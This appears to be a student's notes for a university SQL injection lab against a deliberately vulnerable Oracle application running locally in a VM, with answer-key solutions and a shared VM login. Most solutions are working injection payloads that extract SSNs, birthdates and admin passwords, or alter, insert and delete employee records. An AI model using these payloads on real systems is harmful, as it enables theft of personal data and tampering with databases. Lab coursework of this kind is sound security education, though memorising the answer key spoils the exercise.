# Preparation

1. Get met\_cs\_674\_oracle\_linux\_5\_11g\_r2\_ee.ova  
   <http://www.fshare.vn/file/UDZO344UPQ8O>
2. Install VirtualBox for Windows  
   <https://www.virtualbox.org/wiki/Downloads>
3. Open VirtualBox
4. Choose File/Import Appliance…
5. Browser to **ova file** and start
6. When login screen available, enter **oracle**/**metcs674**
7. Click on Firefox Browser and type this URL  
   <http://localhost:8888/sql_injection>
8. You will see 3 examples to exercise

# Part 1. SQL Injection Lab

**Part 1 – 1**

1. Use a SQL Injection string in the Search field to get the name of the database user that the application is connecting to the database with.   
     
   **Solution:**  
   Anything' UNION SELECT 'string','string', user from dual--'
2. Use a SQL Injection string in the Search field to get the system privileges granted to the user that the application is connecting to the database with.    
     
   **Solution:**  
   Anything' UNION SELECT 'string','string', PRIVILEGE from USER\_SYS\_PRIVS--'
3. Use a SQL Injection string in the Search field to get the Social Security Number (SSN) and birthdate for "Michael Hartstein". (Hint: You will need to use a SQL Injection string to get the employee\_id first.)    
     
   **Solution:**  
   1) Query all employees to find person whose last name is Hartstein  
   anything' UNION SELECT 'string',last\_name, cast(employee\_id as varchar(30)) from hr.employees—‘  
   “201” <- Result here, but do it yourself first  
   2) From provided clues, try to table name related to SSN and birthdate first (Don’t remember syntax, google it by yourself)  
   3) From searched table name, get SSB and Birthdate value  
   anything' union select ssn, cast(birthdate as varchar(100)), cast(employee\_id as varchar(30)) from SSN\_BIRTHDATE where employee\_id = **{1)’s result}**--'

**Part 1 – 2**

1. Use a SQL Injection string in the Search field to update the Employees table and double the salary of employee Alana Walsh.    
     
   **Solution:**  
   ');update hr.employees set salary = (select salary from hr.employees where last\_name = 'Walsh' and first\_name = 'Alana') \* 2 where last\_name = 'Walsh' and first\_name = 'Alana'; END;--'
2. Use a SQL Injection string in the Search field to insert a new employee into the employees table with employee\_id 207 (**Hint:** You can use a desc employees in SQL\*Plus as the “hr” user to get the fields of the employees table to build your insert statement.)    
     
   **Solution:**  
   '); insert into hr.employees values ('207', 'Henry', 'Theiry', 'henry@gmail.com', '865.432.1342', '24-APR-2016', 'SH\_CLERK', '10000', null, 124, 50);END;--'
3. Use a SQL Injection string in the Search field to delete the employee with employee\_id 207 in the employees table.   
     
   **Solution:**  
   '); delete hr.employees where employee\_id = 207; END;--'

**Part 1 – 3**

1. Use a SQL Injection string in the Password field to get the password of the “Admin” user. (**Hint:** First get the name of the column that contains passwords using user\_tab\_columns WHERE column\_name like '%PASS%.).   
     
   **Solution:**  
   1) From provided table name in premise, find column should take value of password and username (Try this on example 1, which should list all results to further finding)  
   anything' union select 'string', table\_name, COLUMN\_NAME from ALL\_TAB\_COLUMNS--'  
   Result are:  
   +) APP\_USER\_PASSWORD  
   +) APP\_USER\_USERNAME   
   2) Find password by username  
   anything' union select **{1)’s result}**, 'string' from APP\_USER where **{1)’s result}** like '%dmi%
2. Login as the “Admin” user through the application and add a user. Verify the new user by querying the app\_user table in SQL\*Plus.    
     
   **Easily to do by yourself**
3. Login as the “Admin” user through the application and delete the user added in question 2. Verify the user was deleted by querying the app\_user table in SQL\*Plus.    
     
   **Easily to do by yourself**

**Part 1 – 4**

1. Use a SQL Injection string in any of the applications used in this lab to extract a unique piece of information from the database that was not already covered in this lab.   
     
   **I got my one, do by yourself one**

# Part 2. Encryption Lab

Do it later, maybe!

## To learn more and get OneNote, visit [www.onenote.com](http://go.microsoft.com/fwlink/?LinkID=523892).